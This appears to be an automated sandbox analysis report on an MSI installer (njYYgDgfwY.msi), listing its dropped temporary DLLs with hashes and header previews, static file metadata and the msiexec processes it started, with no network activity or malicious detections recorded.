                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............u.u.u.L.v.u.L.p.4.u.;.q.u.;.v.u.;.p..u.L.q.u.L.s.u.L.t.u.t.!.u..|...u..u.u...u...u..w.u.Rich..u.........PE..L......d.........."!...$.>...........Y.......P...............................0............@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................................

                        C:\Users\user\AppData\Local\Temp\MSIE423.tmp

                        Download File
                        Process:C:\Windows\System32\msiexec.exe
                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                        Category:dropped
                        Size (bytes):1126208
                        Entropy (8bit):6.47547142761303
                        Encrypted:false
                        SSDEEP:24576:tBbmgYewSBprKpygTqkg0z/f2sbQEiwiUt52wD5YqQc3w0RZqTkqMUM0zVQZo:tBflKp/Dz/f2sbQEidUt52Q5hz3w0RZI
                        MD5:821A9095657D59C7CD66C28B3FD50ACE
                        SHA1:AEF8A82D7D3DF689AF403BD0CCAB7ED04EC77609
                        SHA-256:D5411A4C65860343B846D5503686181D3487CC324FC0562B4E5F3CD1662B80FE
                        SHA-512:A885068D950307F1ABCF08DF41D3476174F02641105707EF3B81515D84F0F305DE84F6EA900421D250011EBFD4F3AFC1498CC4F3B14040E536CCB27FF6214C06
                        Malicious:false
                        Antivirus:
                        • Antivirus: ReversingLabs, Detection: 0%
                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J"..+L..+L..+L..YO..+L..YI.z+L.kUH..+L.kUO..+L.kUI..+L..YH..+L..YM..+L..+M..*L..TE..+L..TL..+L..T...+L..+..+L..TN..+L.Rich.+L.........PE..L......d.........."!...$.t..........0u.......................................P......(.....@.........................`...t...............................@=.......A.../..p....................0..........@...............4............................text...^s.......t.................. ..`.rdata...U.......V...x..............@..@.data...8...........................@....rsrc...............................@..@.reloc...A.......B..................@..B................................................................................................................................................................................................................................................................................................

                        C:\Users\user\AppData\Local\Temp\MSIE481.tmp

                        Download File
                        Process:C:\Windows\System32\msiexec.exe
                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                        Category:dropped
                        Size (bytes):602432
                        Entropy (8bit):6.4696654484377945
                        Encrypted:false
                        SSDEEP:6144:waFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOlKmN9ysU5pvs8g73iK:JYL9HXVW0xOA+KlZC4vA55s8g73iK
                        MD5:A9941233B9415B479D3B4F3732161EAB
                        SHA1:CB2D99AF52B3B1C712943B13E45D85C80C732E57
                        SHA-256:CE34CC14E8D26119E1BF28A3A8368DA6E10D13851004E2675976C5AD58B122E2
                        SHA-512:CFD6C425587E5E7C57B6F4655E2A48C871313E2BACF63CC0955CCAE1A384610644F26AA76BEE0A2A327CD77C2AE7DEF8EA9CB0C7C7C87FAB1C8196BAC82037F7
                        Malicious:false
                        Antivirus:
                        • Antivirus: ReversingLabs, Detection: 0%
                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............u.u.u.L.v.u.L.p.4.u.;.q.u.;.v.u.;.p..u.L.q.u.L.s.u.L.t.u.t.!.u..|...u..u.u...u...u..w.u.Rich..u.........PE..L......d.........."!...$.>...........Y.......P...............................0............@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................................

                        C:\Users\user\AppData\Local\Temp\MSIbe4aa.LOG

                        Download File
                        Process:C:\Windows\System32\msiexec.exe
                        File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                        Category:dropped
                        Size (bytes):196
                        Entropy (8bit):3.427195070813476
                        Encrypted:false
                        SSDEEP:3:QxtP6nElClDg+OjmlH/wlRlX+PpJlmnmf2KXMFmNlvMltlGcdUwlI1:QOnElClDHOjSfwRmlv2K80ElXHUww
                        MD5:1C9C4B1E5DA2A4FF28A13A1394910C14
                        SHA1:D4D0DC3723D1F4AA61A762DFBE799B01E2048ABB
                        SHA-256:D1D6DC53F0ED2B795D553568051C382F60CF4FB7C0C252C365CAB8DDD97520F5
                        SHA-512:CC13EE9396E0C57B682AF958276C5CFFD1927B05EE4377CBFA28306E43BA227A0F3BBF38E071BC5324E66FE17E12565A7FBC416388881C4380B66711DECD90D0
                        Malicious:false
                        Preview:..T.h.i.s. .p.a.c.k.a.g.e. .c.a.n. .o.n.l.y. .b.e. .r.u.n. .f.r.o.m. .a. .b.o.o.t.s.t.r.a.p.p.e.r.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .8./.2.3./.2.0.2.3. . .2.3.:.4.5.:.0.9. .=.=.=.....

                        Static File Info

                        General

                        File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, MSI Installer, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {76B567E7-FDCC-430C-9607-4691A42D7D75}, Subject: Debt, Author: Debt, Name of Creating Application: Debt, Template: ;1033, Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Sat Aug 19 18:56:14 2023, Number of Pages: 200, Last Saved By: Tatyana, Last Printed: Wed Aug 23 21:37:32 2023, Number of Words: 4
                        Entropy (8bit):6.502949323611609
                        TrID:
                        • Microsoft Windows Installer (60509/1) 88.31%
                        • Generic OLE2 / Multistream Compound File (8008/1) 11.69%
                        File name:njYYgDgfwY.msi
                        File size:4'120'576 bytes
                        MD5:56e45eb403cf192dc8bcef1826ca9bac
                        SHA1:62836a9fc323f9c867bec3be7951182b44047f26
                        SHA256:34299df68da85467e9e305c1e2d03695408c41a2c751e80a4f031ab8387d5105
                        SHA512:282578b6f87bd84851e20e02b7239db730c90531aa395e795867b5874c5540fa056f0e0fd4a69d8e2d8006315693e69a10ae8028e99f638eeb55a93e1d06bcca
                        SSDEEP:98304:RqAsEXP+uKTFn+XA4vBflMPzidUtR81n/8/Ot:kozBfMn0/5
                        TLSH:37167C21B59AC136E67F4371A92CEB6B25797FB12B7344DB63E439AE0D704C11232E12
                        File Content Preview:........................>......................................................................................................................................................................................................................................

                        File Icon

                        Icon Hash:2d2e3797b32b2b99

                        Network Behavior

                        ⊘No network behavior found

                        Statistics

                        CPU Usage

                        Click to jump to process

                        Memory Usage

                        Click to jump to process

                        Behavior

                        Click to jump to process

                        System Behavior

                        General

                        Target ID:0
                        Start time:23:45:01
                        Start date:23/08/2023
                        Path:C:\Windows\System32\msiexec.exe
                        Wow64 process (32bit):false
                        Commandline:"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\njYYgDgfwY.msi"
                        Imagebase:0x7ff77d410000
                        File size:66'048 bytes
                        MD5 hash:4767B71A318E201188A0D0A420C8B608
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:C, C++ or other language
                        Reputation:high
                        Has exited:true

                        General

                        Target ID:1
                        Start time:23:45:02
                        Start date:23/08/2023
                        Path:C:\Windows\System32\msiexec.exe
                        Wow64 process (32bit):false
                        Commandline:C:\Windows\system32\msiexec.exe /V
                        Imagebase:0x7ff77d410000
                        File size:66'048 bytes
                        MD5 hash:4767B71A318E201188A0D0A420C8B608
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:C, C++ or other language
                        Reputation:high
                        Has exited:false

                        General

                        Target ID:2
                        Start time:23:45:02
                        Start date:23/08/2023
                        Path:C:\Windows\SysWOW64\msiexec.exe
                        Wow64 process (32bit):true
                        Commandline:C:\Windows\syswow64\MsiExec.exe -Embedding 5764F3C4CEC2E39CBFCBF2AA60C70B87 C
                        Imagebase:0x290000
                        File size:59'904 bytes
                        MD5 hash:12C17B5A5C2A7B97342C362CA467E9A2
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:C, C++ or other language
                        Reputation:high
                        Has exited:true

                        Disassembly

                        ⊘No disassembly